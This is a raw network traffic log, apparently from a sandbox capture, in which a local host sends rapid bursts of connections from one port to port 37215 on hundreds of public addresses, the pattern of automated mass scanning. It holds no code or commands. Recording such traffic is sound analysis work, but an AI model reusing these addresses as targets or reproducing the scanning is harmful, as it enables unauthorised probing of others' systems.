Aug 1, 2024 15:34:54.857063055 CEST	47767	37215	192.168.2.14	197.48.216.90
Aug 1, 2024 15:34:54.857063055 CEST	47767	37215	192.168.2.14	66.121.100.254
Aug 1, 2024 15:34:54.857091904 CEST	47767	37215	192.168.2.14	41.200.2.254
Aug 1, 2024 15:34:54.857129097 CEST	47767	37215	192.168.2.14	199.30.7.12
Aug 1, 2024 15:34:54.857176065 CEST	47767	37215	192.168.2.14	197.225.135.226
Aug 1, 2024 15:34:54.857187033 CEST	47767	37215	192.168.2.14	41.103.202.55
Aug 1, 2024 15:34:54.857194901 CEST	47767	37215	192.168.2.14	157.85.185.211
Aug 1, 2024 15:34:54.857215881 CEST	47767	37215	192.168.2.14	41.210.18.74
Aug 1, 2024 15:34:54.857218027 CEST	47767	37215	192.168.2.14	41.114.230.180
Aug 1, 2024 15:34:54.857222080 CEST	47767	37215	192.168.2.14	41.214.249.93
Aug 1, 2024 15:34:54.857249022 CEST	47767	37215	192.168.2.14	2.193.246.144
Aug 1, 2024 15:34:54.857266903 CEST	47767	37215	192.168.2.14	157.217.13.190
Aug 1, 2024 15:34:54.857306004 CEST	47767	37215	192.168.2.14	165.191.81.152
Aug 1, 2024 15:34:54.857332945 CEST	47767	37215	192.168.2.14	41.56.200.105
Aug 1, 2024 15:34:54.857332945 CEST	47767	37215	192.168.2.14	197.170.191.64
Aug 1, 2024 15:34:54.857343912 CEST	47767	37215	192.168.2.14	157.146.221.229
Aug 1, 2024 15:34:54.857362986 CEST	47767	37215	192.168.2.14	157.175.183.4
Aug 1, 2024 15:34:54.857372999 CEST	47767	37215	192.168.2.14	197.189.197.71
Aug 1, 2024 15:34:54.857381105 CEST	47767	37215	192.168.2.14	157.56.240.90
Aug 1, 2024 15:34:54.857381105 CEST	47767	37215	192.168.2.14	41.22.105.241
Aug 1, 2024 15:34:54.857391119 CEST	47767	37215	192.168.2.14	89.175.92.70
Aug 1, 2024 15:34:54.857431889 CEST	47767	37215	192.168.2.14	157.197.52.120
Aug 1, 2024 15:34:54.857450008 CEST	47767	37215	192.168.2.14	41.226.236.14
Aug 1, 2024 15:34:54.857453108 CEST	47767	37215	192.168.2.14	157.147.74.170
Aug 1, 2024 15:34:54.857469082 CEST	47767	37215	192.168.2.14	197.166.102.227
Aug 1, 2024 15:34:54.857469082 CEST	47767	37215	192.168.2.14	157.145.112.151
Aug 1, 2024 15:34:54.857490063 CEST	47767	37215	192.168.2.14	157.185.48.66
Aug 1, 2024 15:34:54.858084917 CEST	47767	37215	192.168.2.14	75.124.67.231
Aug 1, 2024 15:34:54.858089924 CEST	37215	47767	2.138.219.53	192.168.2.14
Aug 1, 2024 15:34:54.858104944 CEST	37215	47767	171.189.230.58	192.168.2.14
Aug 1, 2024 15:34:54.858107090 CEST	47767	37215	192.168.2.14	197.74.211.74
Aug 1, 2024 15:34:54.858113050 CEST	47767	37215	192.168.2.14	197.77.20.173
Aug 1, 2024 15:34:54.858115911 CEST	37215	47767	41.15.250.54	192.168.2.14
Aug 1, 2024 15:34:54.858130932 CEST	37215	47767	197.82.231.104	192.168.2.14
Aug 1, 2024 15:34:54.858149052 CEST	47767	37215	192.168.2.14	2.138.219.53
Aug 1, 2024 15:34:54.858150959 CEST	47767	37215	192.168.2.14	171.189.230.58
Aug 1, 2024 15:34:54.858150959 CEST	47767	37215	192.168.2.14	41.15.250.54
Aug 1, 2024 15:34:54.858181000 CEST	47767	37215	192.168.2.14	197.82.231.104
Aug 1, 2024 15:34:54.858181000 CEST	47767	37215	192.168.2.14	39.34.77.150
Aug 1, 2024 15:34:54.858205080 CEST	47767	37215	192.168.2.14	180.167.85.100
Aug 1, 2024 15:34:54.858239889 CEST	47767	37215	192.168.2.14	41.56.161.255
Aug 1, 2024 15:34:54.858247042 CEST	47767	37215	192.168.2.14	197.236.51.119
Aug 1, 2024 15:34:54.858268976 CEST	47767	37215	192.168.2.14	219.223.246.231
Aug 1, 2024 15:34:54.858289957 CEST	47767	37215	192.168.2.14	112.38.122.218
Aug 1, 2024 15:34:54.858319044 CEST	37215	47767	41.243.78.48	192.168.2.14
Aug 1, 2024 15:34:54.858339071 CEST	37215	47767	41.102.235.147	192.168.2.14
Aug 1, 2024 15:34:54.858349085 CEST	37215	47767	222.142.83.55	192.168.2.14
Aug 1, 2024 15:34:54.858350992 CEST	47767	37215	192.168.2.14	157.100.96.210
Aug 1, 2024 15:34:54.858350992 CEST	47767	37215	192.168.2.14	171.42.141.175
Aug 1, 2024 15:34:54.858360052 CEST	37215	47767	197.95.7.206	192.168.2.14
Aug 1, 2024 15:34:54.858367920 CEST	47767	37215	192.168.2.14	157.50.246.168
Aug 1, 2024 15:34:54.858367920 CEST	47767	37215	192.168.2.14	197.57.54.115
Aug 1, 2024 15:34:54.858367920 CEST	47767	37215	192.168.2.14	157.97.131.105
Aug 1, 2024 15:34:54.858371019 CEST	37215	47767	41.236.40.252	192.168.2.14
Aug 1, 2024 15:34:54.858371973 CEST	47767	37215	192.168.2.14	41.243.78.48
Aug 1, 2024 15:34:54.858375072 CEST	47767	37215	192.168.2.14	41.102.235.147
Aug 1, 2024 15:34:54.858385086 CEST	37215	47767	157.121.143.74	192.168.2.14
Aug 1, 2024 15:34:54.858395100 CEST	37215	47767	41.219.67.173	192.168.2.14
Aug 1, 2024 15:34:54.858403921 CEST	37215	47767	41.147.162.230	192.168.2.14
Aug 1, 2024 15:34:54.858406067 CEST	47767	37215	192.168.2.14	41.236.40.252
Aug 1, 2024 15:34:54.858413935 CEST	37215	47767	41.55.124.183	192.168.2.14
Aug 1, 2024 15:34:54.858418941 CEST	47767	37215	192.168.2.14	197.95.7.206
Aug 1, 2024 15:34:54.858423948 CEST	37215	47767	196.207.169.224	192.168.2.14
Aug 1, 2024 15:34:54.858433008 CEST	37215	47767	41.134.51.115	192.168.2.14
Aug 1, 2024 15:34:54.858448029 CEST	37215	47767	41.190.123.131	192.168.2.14
Aug 1, 2024 15:34:54.858453035 CEST	47767	37215	192.168.2.14	118.221.211.10
Aug 1, 2024 15:34:54.858458042 CEST	37215	47767	157.51.252.216	192.168.2.14
Aug 1, 2024 15:34:54.858464956 CEST	47767	37215	192.168.2.14	222.142.83.55
Aug 1, 2024 15:34:54.858464956 CEST	47767	37215	192.168.2.14	197.28.169.16
Aug 1, 2024 15:34:54.858477116 CEST	47767	37215	192.168.2.14	157.121.143.74
Aug 1, 2024 15:34:54.858481884 CEST	47767	37215	192.168.2.14	41.219.67.173
Aug 1, 2024 15:34:54.858481884 CEST	47767	37215	192.168.2.14	41.147.162.230
Aug 1, 2024 15:34:54.858484030 CEST	47767	37215	192.168.2.14	41.55.124.183
Aug 1, 2024 15:34:54.858489990 CEST	47767	37215	192.168.2.14	41.134.51.115
Aug 1, 2024 15:34:54.858489990 CEST	47767	37215	192.168.2.14	196.207.169.224
Aug 1, 2024 15:34:54.858505011 CEST	47767	37215	192.168.2.14	41.190.123.131
Aug 1, 2024 15:34:54.858521938 CEST	37215	47767	41.59.74.157	192.168.2.14
Aug 1, 2024 15:34:54.858531952 CEST	37215	47767	41.37.124.216	192.168.2.14
Aug 1, 2024 15:34:54.858540058 CEST	47767	37215	192.168.2.14	157.235.65.112
Aug 1, 2024 15:34:54.858540058 CEST	47767	37215	192.168.2.14	157.51.252.216
Aug 1, 2024 15:34:54.858541012 CEST	47767	37215	192.168.2.14	197.190.204.213
Aug 1, 2024 15:34:54.858541965 CEST	37215	47767	182.53.203.199	192.168.2.14
Aug 1, 2024 15:34:54.858541012 CEST	47767	37215	192.168.2.14	41.69.30.246
Aug 1, 2024 15:34:54.858552933 CEST	37215	47767	157.252.179.4	192.168.2.14
Aug 1, 2024 15:34:54.858555079 CEST	47767	37215	192.168.2.14	41.59.74.157
Aug 1, 2024 15:34:54.858557940 CEST	47767	37215	192.168.2.14	197.39.69.220
Aug 1, 2024 15:34:54.858563900 CEST	37215	47767	157.87.117.169	192.168.2.14
Aug 1, 2024 15:34:54.858571053 CEST	47767	37215	192.168.2.14	41.37.124.216
Aug 1, 2024 15:34:54.858572960 CEST	37215	47767	67.173.236.255	192.168.2.14
Aug 1, 2024 15:34:54.858598948 CEST	47767	37215	192.168.2.14	67.173.236.255
Aug 1, 2024 15:34:54.858648062 CEST	47767	37215	192.168.2.14	197.113.245.131
Aug 1, 2024 15:34:54.858654976 CEST	47767	37215	192.168.2.14	182.53.203.199
Aug 1, 2024 15:34:54.858654976 CEST	47767	37215	192.168.2.14	157.177.90.59
Aug 1, 2024 15:34:54.858659029 CEST	47767	37215	192.168.2.14	157.252.179.4
Aug 1, 2024 15:34:54.858659029 CEST	47767	37215	192.168.2.14	157.87.117.169
Aug 1, 2024 15:34:54.859527111 CEST	37215	47767	164.63.63.103	192.168.2.14
Aug 1, 2024 15:34:54.859540939 CEST	37215	47767	157.247.173.232	192.168.2.14
Aug 1, 2024 15:34:54.859549999 CEST	37215	47767	92.28.110.8	192.168.2.14
Aug 1, 2024 15:34:54.859565973 CEST	47767	37215	192.168.2.14	164.63.63.103
Aug 1, 2024 15:34:54.859569073 CEST	37215	47767	197.251.68.85	192.168.2.14
Aug 1, 2024 15:34:54.859580040 CEST	37215	47767	136.209.131.27	192.168.2.14
Aug 1, 2024 15:34:54.859585047 CEST	47767	37215	192.168.2.14	157.247.173.232
Aug 1, 2024 15:34:54.859589100 CEST	37215	47767	60.255.178.57	192.168.2.14
Aug 1, 2024 15:34:54.859599113 CEST	37215	47767	197.37.11.189	192.168.2.14
Aug 1, 2024 15:34:54.859600067 CEST	47767	37215	192.168.2.14	92.28.110.8
Aug 1, 2024 15:34:54.859612942 CEST	47767	37215	192.168.2.14	197.251.68.85
Aug 1, 2024 15:34:54.859612942 CEST	47767	37215	192.168.2.14	136.209.131.27
Aug 1, 2024 15:34:54.859616995 CEST	37215	47767	197.52.238.43	192.168.2.14
Aug 1, 2024 15:34:54.859628916 CEST	37215	47767	197.171.29.163	192.168.2.14
Aug 1, 2024 15:34:54.859636068 CEST	47767	37215	192.168.2.14	60.255.178.57
Aug 1, 2024 15:34:54.859643936 CEST	47767	37215	192.168.2.14	197.52.238.43
Aug 1, 2024 15:34:54.859648943 CEST	47767	37215	192.168.2.14	197.37.11.189
Aug 1, 2024 15:34:54.859668016 CEST	47767	37215	192.168.2.14	197.171.29.163
Aug 1, 2024 15:34:54.859718084 CEST	37215	47767	41.205.131.121	192.168.2.14
Aug 1, 2024 15:34:54.859729052 CEST	37215	47767	157.10.149.35	192.168.2.14
Aug 1, 2024 15:34:54.859739065 CEST	37215	47767	38.93.44.240	192.168.2.14
Aug 1, 2024 15:34:54.859761000 CEST	47767	37215	192.168.2.14	41.205.131.121
Aug 1, 2024 15:34:54.859761000 CEST	47767	37215	192.168.2.14	157.10.149.35
Aug 1, 2024 15:34:54.859766960 CEST	37215	47767	41.189.13.212	192.168.2.14
Aug 1, 2024 15:34:54.859776974 CEST	37215	47767	197.206.139.104	192.168.2.14
Aug 1, 2024 15:34:54.859778881 CEST	47767	37215	192.168.2.14	38.93.44.240
Aug 1, 2024 15:34:54.859797001 CEST	37215	47767	184.46.233.237	192.168.2.14
Aug 1, 2024 15:34:54.859802008 CEST	47767	37215	192.168.2.14	41.189.13.212
Aug 1, 2024 15:34:54.859807014 CEST	37215	47767	157.194.219.212	192.168.2.14
Aug 1, 2024 15:34:54.859811068 CEST	47767	37215	192.168.2.14	197.206.139.104
Aug 1, 2024 15:34:54.859816074 CEST	37215	47767	197.91.38.97	192.168.2.14
Aug 1, 2024 15:34:54.859822035 CEST	37215	47767	157.220.82.146	192.168.2.14
Aug 1, 2024 15:34:54.859832048 CEST	37215	47767	107.106.86.9	192.168.2.14
Aug 1, 2024 15:34:54.859839916 CEST	37215	47767	197.190.55.55	192.168.2.14
Aug 1, 2024 15:34:54.859839916 CEST	47767	37215	192.168.2.14	184.46.233.237
Aug 1, 2024 15:34:54.859858036 CEST	37215	47767	197.13.177.97	192.168.2.14
Aug 1, 2024 15:34:54.859865904 CEST	47767	37215	192.168.2.14	197.91.38.97
Aug 1, 2024 15:34:54.859878063 CEST	37215	47767	99.216.115.116	192.168.2.14
Aug 1, 2024 15:34:54.859884024 CEST	47767	37215	192.168.2.14	157.194.219.212
Aug 1, 2024 15:34:54.859884024 CEST	47767	37215	192.168.2.14	157.220.82.146
Aug 1, 2024 15:34:54.859884977 CEST	47767	37215	192.168.2.14	197.190.55.55
Aug 1, 2024 15:34:54.859884977 CEST	47767	37215	192.168.2.14	107.106.86.9
Aug 1, 2024 15:34:54.859889030 CEST	37215	47767	177.186.243.242	192.168.2.14
Aug 1, 2024 15:34:54.859890938 CEST	47767	37215	192.168.2.14	197.13.177.97
Aug 1, 2024 15:34:54.859914064 CEST	37215	47767	41.183.144.125	192.168.2.14
Aug 1, 2024 15:34:54.859952927 CEST	47767	37215	192.168.2.14	177.186.243.242
Aug 1, 2024 15:34:54.859955072 CEST	47767	37215	192.168.2.14	99.216.115.116
Aug 1, 2024 15:34:54.859972954 CEST	37215	47767	41.140.10.97	192.168.2.14
Aug 1, 2024 15:34:54.859978914 CEST	47767	37215	192.168.2.14	41.183.144.125
Aug 1, 2024 15:34:54.860018969 CEST	37215	47767	197.42.176.105	192.168.2.14
Aug 1, 2024 15:34:54.860027075 CEST	47767	37215	192.168.2.14	41.140.10.97
Aug 1, 2024 15:34:54.860028982 CEST	37215	47767	197.237.103.241	192.168.2.14
Aug 1, 2024 15:34:54.860052109 CEST	37215	47767	147.211.62.145	192.168.2.14
Aug 1, 2024 15:34:54.860063076 CEST	37215	47767	157.108.49.207	192.168.2.14
Aug 1, 2024 15:34:54.860064983 CEST	47767	37215	192.168.2.14	197.42.176.105
Aug 1, 2024 15:34:54.860076904 CEST	37215	47767	157.102.148.103	192.168.2.14
Aug 1, 2024 15:34:54.860086918 CEST	37215	47767	195.22.164.112	192.168.2.14
Aug 1, 2024 15:34:54.860093117 CEST	47767	37215	192.168.2.14	157.108.49.207
Aug 1, 2024 15:34:54.860096931 CEST	37215	47767	197.75.43.144	192.168.2.14
Aug 1, 2024 15:34:54.860105991 CEST	37215	47767	197.176.187.27	192.168.2.14
Aug 1, 2024 15:34:54.860111952 CEST	47767	37215	192.168.2.14	197.237.103.241
Aug 1, 2024 15:34:54.860122919 CEST	37215	47767	41.68.112.151	192.168.2.14
Aug 1, 2024 15:34:54.860132933 CEST	37215	47767	110.208.30.2	192.168.2.14
Aug 1, 2024 15:34:54.860136032 CEST	47767	37215	192.168.2.14	157.102.148.103
Aug 1, 2024 15:34:54.860140085 CEST	47767	37215	192.168.2.14	195.22.164.112
Aug 1, 2024 15:34:54.860146046 CEST	47767	37215	192.168.2.14	197.75.43.144
Aug 1, 2024 15:34:54.860152960 CEST	47767	37215	192.168.2.14	147.211.62.145
Aug 1, 2024 15:34:54.860152960 CEST	47767	37215	192.168.2.14	41.68.112.151
Aug 1, 2024 15:34:54.860155106 CEST	37215	47767	157.115.41.196	192.168.2.14
Aug 1, 2024 15:34:54.860162020 CEST	47767	37215	192.168.2.14	197.176.187.27
Aug 1, 2024 15:34:54.860166073 CEST	37215	47767	157.129.37.247	192.168.2.14
Aug 1, 2024 15:34:54.860167980 CEST	47767	37215	192.168.2.14	110.208.30.2
Aug 1, 2024 15:34:54.860177040 CEST	37215	47767	197.106.91.113	192.168.2.14
Aug 1, 2024 15:34:54.860188007 CEST	37215	47767	157.251.247.196	192.168.2.14
Aug 1, 2024 15:34:54.860193014 CEST	47767	37215	192.168.2.14	157.129.37.247
Aug 1, 2024 15:34:54.860197067 CEST	37215	47767	197.88.34.150	192.168.2.14
Aug 1, 2024 15:34:54.860208035 CEST	37215	47767	168.234.4.56	192.168.2.14
Aug 1, 2024 15:34:54.860213995 CEST	47767	37215	192.168.2.14	157.115.41.196
Aug 1, 2024 15:34:54.860213995 CEST	47767	37215	192.168.2.14	197.106.91.113
Aug 1, 2024 15:34:54.860213995 CEST	47767	37215	192.168.2.14	157.251.247.196
Aug 1, 2024 15:34:54.860219955 CEST	37215	47767	157.122.220.214	192.168.2.14
Aug 1, 2024 15:34:54.860230923 CEST	37215	47767	41.184.88.67	192.168.2.14
Aug 1, 2024 15:34:54.860238075 CEST	47767	37215	192.168.2.14	197.88.34.150
Aug 1, 2024 15:34:54.860239983 CEST	47767	37215	192.168.2.14	168.234.4.56
Aug 1, 2024 15:34:54.860253096 CEST	47767	37215	192.168.2.14	157.122.220.214
Aug 1, 2024 15:34:54.860411882 CEST	47767	37215	192.168.2.14	41.184.88.67
Aug 1, 2024 15:34:54.860573053 CEST	37215	47767	130.233.217.238	192.168.2.14
Aug 1, 2024 15:34:54.860584974 CEST	37215	47767	157.169.17.131	192.168.2.14
Aug 1, 2024 15:34:54.860595942 CEST	37215	47767	41.169.67.45	192.168.2.14
Aug 1, 2024 15:34:54.860611916 CEST	37215	47767	115.105.251.29	192.168.2.14
Aug 1, 2024 15:34:54.860622883 CEST	37215	47767	103.20.177.119	192.168.2.14
Aug 1, 2024 15:34:54.860632896 CEST	37215	47767	61.43.155.73	192.168.2.14
Aug 1, 2024 15:34:54.860636950 CEST	47767	37215	192.168.2.14	157.169.17.131
Aug 1, 2024 15:34:54.860641956 CEST	37215	47767	197.169.248.145	192.168.2.14
Aug 1, 2024 15:34:54.860651970 CEST	37215	47767	41.53.76.199	192.168.2.14
Aug 1, 2024 15:34:54.860661030 CEST	37215	47767	157.60.145.99	192.168.2.14
Aug 1, 2024 15:34:54.860671043 CEST	37215	47767	197.124.18.82	192.168.2.14
Aug 1, 2024 15:34:54.860682011 CEST	37215	47767	41.178.100.181	192.168.2.14
Aug 1, 2024 15:34:54.860686064 CEST	47767	37215	192.168.2.14	103.20.177.119
Aug 1, 2024 15:34:54.860686064 CEST	47767	37215	192.168.2.14	41.53.76.199
Aug 1, 2024 15:34:54.860688925 CEST	47767	37215	192.168.2.14	61.43.155.73
Aug 1, 2024 15:34:54.860691071 CEST	37215	47767	197.40.23.137	192.168.2.14
Aug 1, 2024 15:34:54.860702038 CEST	37215	47767	41.88.176.209	192.168.2.14
Aug 1, 2024 15:34:54.860704899 CEST	47767	37215	192.168.2.14	197.169.248.145
Aug 1, 2024 15:34:54.860704899 CEST	47767	37215	192.168.2.14	41.178.100.181
Aug 1, 2024 15:34:54.860704899 CEST	47767	37215	192.168.2.14	157.60.145.99
Aug 1, 2024 15:34:54.860712051 CEST	37215	47767	157.187.148.134	192.168.2.14
Aug 1, 2024 15:34:54.860723019 CEST	47767	37215	192.168.2.14	130.233.217.238
Aug 1, 2024 15:34:54.860723019 CEST	37215	47767	41.89.33.33	192.168.2.14
Aug 1, 2024 15:34:54.860723019 CEST	47767	37215	192.168.2.14	41.169.67.45
Aug 1, 2024 15:34:54.860723019 CEST	47767	37215	192.168.2.14	197.40.23.137
Aug 1, 2024 15:34:54.860739946 CEST	47767	37215	192.168.2.14	41.88.176.209
Aug 1, 2024 15:34:54.860739946 CEST	47767	37215	192.168.2.14	157.187.148.134
Aug 1, 2024 15:34:54.860747099 CEST	37215	47767	41.143.18.123	192.168.2.14
Aug 1, 2024 15:34:54.860757113 CEST	37215	47767	41.78.39.108	192.168.2.14
Aug 1, 2024 15:34:54.860768080 CEST	37215	47767	123.236.6.145	192.168.2.14
Aug 1, 2024 15:34:54.860769987 CEST	47767	37215	192.168.2.14	41.89.33.33
Aug 1, 2024 15:34:54.860773087 CEST	37215	47767	157.88.238.24	192.168.2.14
Aug 1, 2024 15:34:54.860775948 CEST	47767	37215	192.168.2.14	115.105.251.29
Aug 1, 2024 15:34:54.860775948 CEST	47767	37215	192.168.2.14	197.124.18.82
Aug 1, 2024 15:34:54.860784054 CEST	37215	47767	157.133.254.58	192.168.2.14
Aug 1, 2024 15:34:54.860791922 CEST	47767	37215	192.168.2.14	41.78.39.108
Aug 1, 2024 15:34:54.860793114 CEST	37215	47767	41.148.120.113	192.168.2.14
Aug 1, 2024 15:34:54.860794067 CEST	47767	37215	192.168.2.14	123.236.6.145
Aug 1, 2024 15:34:54.860802889 CEST	37215	47767	41.6.248.212	192.168.2.14
Aug 1, 2024 15:34:54.860802889 CEST	47767	37215	192.168.2.14	157.88.238.24
Aug 1, 2024 15:34:54.860810995 CEST	47767	37215	192.168.2.14	41.143.18.123
Aug 1, 2024 15:34:54.860814095 CEST	37215	47767	191.150.229.72	192.168.2.14
Aug 1, 2024 15:34:54.860814095 CEST	47767	37215	192.168.2.14	157.133.254.58
Aug 1, 2024 15:34:54.860825062 CEST	37215	47767	41.210.198.23	192.168.2.14
Aug 1, 2024 15:34:54.860835075 CEST	37215	47767	159.97.190.21	192.168.2.14
Aug 1, 2024 15:34:54.860845089 CEST	37215	47767	41.84.67.216	192.168.2.14
Aug 1, 2024 15:34:54.860851049 CEST	47767	37215	192.168.2.14	41.148.120.113
Aug 1, 2024 15:34:54.860857010 CEST	37215	47767	113.77.151.196	192.168.2.14
Aug 1, 2024 15:34:54.860868931 CEST	37215	47767	41.130.209.143	192.168.2.14
Aug 1, 2024 15:34:54.860868931 CEST	47767	37215	192.168.2.14	159.97.190.21
Aug 1, 2024 15:34:54.860902071 CEST	47767	37215	192.168.2.14	41.6.248.212
Aug 1, 2024 15:34:54.860904932 CEST	47767	37215	192.168.2.14	191.150.229.72
Aug 1, 2024 15:34:54.860913038 CEST	47767	37215	192.168.2.14	113.77.151.196
Aug 1, 2024 15:34:54.860914946 CEST	47767	37215	192.168.2.14	41.84.67.216
Aug 1, 2024 15:34:54.860914946 CEST	47767	37215	192.168.2.14	41.210.198.23
Aug 1, 2024 15:34:54.860944033 CEST	47767	37215	192.168.2.14	41.130.209.143
Aug 1, 2024 15:34:54.860968113 CEST	37215	47767	41.226.213.137	192.168.2.14
Aug 1, 2024 15:34:54.860980034 CEST	37215	47767	197.190.3.77	192.168.2.14
Aug 1, 2024 15:34:54.861007929 CEST	47767	37215	192.168.2.14	41.226.213.137
Aug 1, 2024 15:34:54.861033916 CEST	37215	47767	200.89.131.108	192.168.2.14
Aug 1, 2024 15:34:54.861044884 CEST	37215	47767	197.179.175.169	192.168.2.14
Aug 1, 2024 15:34:54.861056089 CEST	37215	47767	222.239.93.139	192.168.2.14
Aug 1, 2024 15:34:54.861067057 CEST	37215	47767	57.64.230.60	192.168.2.14
Aug 1, 2024 15:34:54.861073971 CEST	47767	37215	192.168.2.14	197.190.3.77
Aug 1, 2024 15:34:54.861073971 CEST	47767	37215	192.168.2.14	200.89.131.108
Aug 1, 2024 15:34:54.861088037 CEST	37215	47767	157.75.77.178	192.168.2.14
Aug 1, 2024 15:34:54.861099005 CEST	37215	47767	157.253.51.213	192.168.2.14
Aug 1, 2024 15:34:54.861104965 CEST	47767	37215	192.168.2.14	57.64.230.60
Aug 1, 2024 15:34:54.861109018 CEST	37215	47767	197.102.172.2	192.168.2.14
Aug 1, 2024 15:34:54.861115932 CEST	47767	37215	192.168.2.14	222.239.93.139
Aug 1, 2024 15:34:54.861118078 CEST	47767	37215	192.168.2.14	157.75.77.178
Aug 1, 2024 15:34:54.861120939 CEST	37215	47767	157.133.24.232	192.168.2.14
Aug 1, 2024 15:34:54.861129045 CEST	47767	37215	192.168.2.14	157.253.51.213
Aug 1, 2024 15:34:54.861134052 CEST	37215	47767	197.64.45.114	192.168.2.14
Aug 1, 2024 15:34:54.861140013 CEST	37215	47767	157.157.109.60	192.168.2.14
Aug 1, 2024 15:34:54.861145020 CEST	47767	37215	192.168.2.14	197.102.172.2
Aug 1, 2024 15:34:54.861157894 CEST	37215	47767	157.203.23.110	192.168.2.14
Aug 1, 2024 15:34:54.861161947 CEST	47767	37215	192.168.2.14	197.179.175.169
Aug 1, 2024 15:34:54.861171007 CEST	37215	47767	157.206.8.180	192.168.2.14
Aug 1, 2024 15:34:54.861181974 CEST	37215	47767	197.103.193.138	192.168.2.14
Aug 1, 2024 15:34:54.861191988 CEST	37215	47767	157.62.255.255	192.168.2.14
Aug 1, 2024 15:34:54.861192942 CEST	47767	37215	192.168.2.14	157.203.23.110
Aug 1, 2024 15:34:54.861193895 CEST	47767	37215	192.168.2.14	157.157.109.60
Aug 1, 2024 15:34:54.861202002 CEST	47767	37215	192.168.2.14	197.64.45.114
Aug 1, 2024 15:34:54.861202002 CEST	47767	37215	192.168.2.14	157.206.8.180
Aug 1, 2024 15:34:54.861205101 CEST	37215	47767	197.118.161.155	192.168.2.14
Aug 1, 2024 15:34:54.861212015 CEST	47767	37215	192.168.2.14	197.103.193.138
Aug 1, 2024 15:34:54.861216068 CEST	37215	47767	168.204.229.155	192.168.2.14
Aug 1, 2024 15:34:54.861227989 CEST	37215	47767	13.191.210.26	192.168.2.14
Aug 1, 2024 15:34:54.861228943 CEST	47767	37215	192.168.2.14	157.133.24.232
Aug 1, 2024 15:34:54.861238956 CEST	37215	47767	157.251.239.40	192.168.2.14
Aug 1, 2024 15:34:54.861248970 CEST	37215	47767	34.114.172.79	192.168.2.14
Aug 1, 2024 15:34:54.861259937 CEST	47767	37215	192.168.2.14	13.191.210.26
Aug 1, 2024 15:34:54.861259937 CEST	37215	47767	157.39.220.56	192.168.2.14
Aug 1, 2024 15:34:54.861260891 CEST	47767	37215	192.168.2.14	157.251.239.40
Aug 1, 2024 15:34:54.861273050 CEST	37215	47767	133.178.29.77	192.168.2.14
Aug 1, 2024 15:34:54.861283064 CEST	47767	37215	192.168.2.14	34.114.172.79
Aug 1, 2024 15:34:54.861283064 CEST	37215	47767	41.81.182.25	192.168.2.14
Aug 1, 2024 15:34:54.861294031 CEST	37215	47767	157.113.100.5	192.168.2.14
Aug 1, 2024 15:34:54.861303091 CEST	37215	47767	157.121.169.87	192.168.2.14
Aug 1, 2024 15:34:54.861311913 CEST	37215	47767	197.97.234.242	192.168.2.14
Aug 1, 2024 15:34:54.861321926 CEST	37215	47767	157.84.81.43	192.168.2.14
Aug 1, 2024 15:34:54.861339092 CEST	47767	37215	192.168.2.14	41.81.182.25
Aug 1, 2024 15:34:54.861341000 CEST	47767	37215	192.168.2.14	157.113.100.5
Aug 1, 2024 15:34:54.861341953 CEST	37215	47767	157.136.241.140	192.168.2.14
Aug 1, 2024 15:34:54.861346960 CEST	37215	47767	41.151.182.180	192.168.2.14
Aug 1, 2024 15:34:54.861346960 CEST	47767	37215	192.168.2.14	197.118.161.155
Aug 1, 2024 15:34:54.861347914 CEST	47767	37215	192.168.2.14	168.204.229.155
Aug 1, 2024 15:34:54.861347914 CEST	47767	37215	192.168.2.14	133.178.29.77
Aug 1, 2024 15:34:54.861347914 CEST	47767	37215	192.168.2.14	157.121.169.87
Aug 1, 2024 15:34:54.861358881 CEST	47767	37215	192.168.2.14	157.62.255.255
Aug 1, 2024 15:34:54.861365080 CEST	47767	37215	192.168.2.14	157.39.220.56
Aug 1, 2024 15:34:54.861370087 CEST	47767	37215	192.168.2.14	197.97.234.242
Aug 1, 2024 15:34:54.861380100 CEST	47767	37215	192.168.2.14	157.84.81.43
Aug 1, 2024 15:34:54.861382008 CEST	47767	37215	192.168.2.14	41.151.182.180
Aug 1, 2024 15:34:54.861437082 CEST	37215	47767	197.130.235.100	192.168.2.14
Aug 1, 2024 15:34:54.861449003 CEST	37215	47767	41.138.22.23	192.168.2.14
Aug 1, 2024 15:34:54.861449957 CEST	47767	37215	192.168.2.14	157.136.241.140
Aug 1, 2024 15:34:54.861474037 CEST	37215	47767	41.177.87.219	192.168.2.14
Aug 1, 2024 15:34:54.861485004 CEST	37215	47767	41.227.113.252	192.168.2.14
Aug 1, 2024 15:34:54.861498117 CEST	37215	47767	197.229.42.106	192.168.2.14
Aug 1, 2024 15:34:54.861501932 CEST	47767	37215	192.168.2.14	197.130.235.100
Aug 1, 2024 15:34:54.861509085 CEST	37215	47767	157.79.113.156	192.168.2.14
Aug 1, 2024 15:34:54.861521006 CEST	37215	47767	179.178.208.249	192.168.2.14
Aug 1, 2024 15:34:54.861541986 CEST	37215	47767	197.43.214.179	192.168.2.14
Aug 1, 2024 15:34:54.861548901 CEST	47767	37215	192.168.2.14	41.227.113.252
Aug 1, 2024 15:34:54.861550093 CEST	47767	37215	192.168.2.14	41.138.22.23
Aug 1, 2024 15:34:54.861551046 CEST	47767	37215	192.168.2.14	197.229.42.106
Aug 1, 2024 15:34:54.861553907 CEST	37215	47767	157.180.101.63	192.168.2.14
Aug 1, 2024 15:34:54.861563921 CEST	37215	47767	41.221.227.83	192.168.2.14
Aug 1, 2024 15:34:54.861573935 CEST	37215	47767	77.89.16.248	192.168.2.14
Aug 1, 2024 15:34:54.861583948 CEST	47767	37215	192.168.2.14	197.43.214.179
Aug 1, 2024 15:34:54.861593008 CEST	47767	37215	192.168.2.14	157.79.113.156
Aug 1, 2024 15:34:54.861593008 CEST	47767	37215	192.168.2.14	179.178.208.249
Aug 1, 2024 15:34:54.861596107 CEST	47767	37215	192.168.2.14	41.221.227.83
Aug 1, 2024 15:34:54.861597061 CEST	47767	37215	192.168.2.14	41.177.87.219
Aug 1, 2024 15:34:54.861598969 CEST	47767	37215	192.168.2.14	157.180.101.63
Aug 1, 2024 15:34:54.861622095 CEST	47767	37215	192.168.2.14	77.89.16.248
Aug 1, 2024 15:34:54.863025904 CEST	37215	47767	157.251.61.118	192.168.2.14
Aug 1, 2024 15:34:54.863038063 CEST	37215	47767	41.92.13.87	192.168.2.14
Aug 1, 2024 15:34:54.863048077 CEST	37215	47767	41.94.14.140	192.168.2.14
Aug 1, 2024 15:34:54.863073111 CEST	37215	47767	41.81.68.60	192.168.2.14
Aug 1, 2024 15:34:54.863084078 CEST	37215	47767	197.83.5.96	192.168.2.14
Aug 1, 2024 15:34:54.863092899 CEST	37215	47767	71.115.192.50	192.168.2.14
Aug 1, 2024 15:34:54.863102913 CEST	37215	47767	148.35.167.224	192.168.2.14
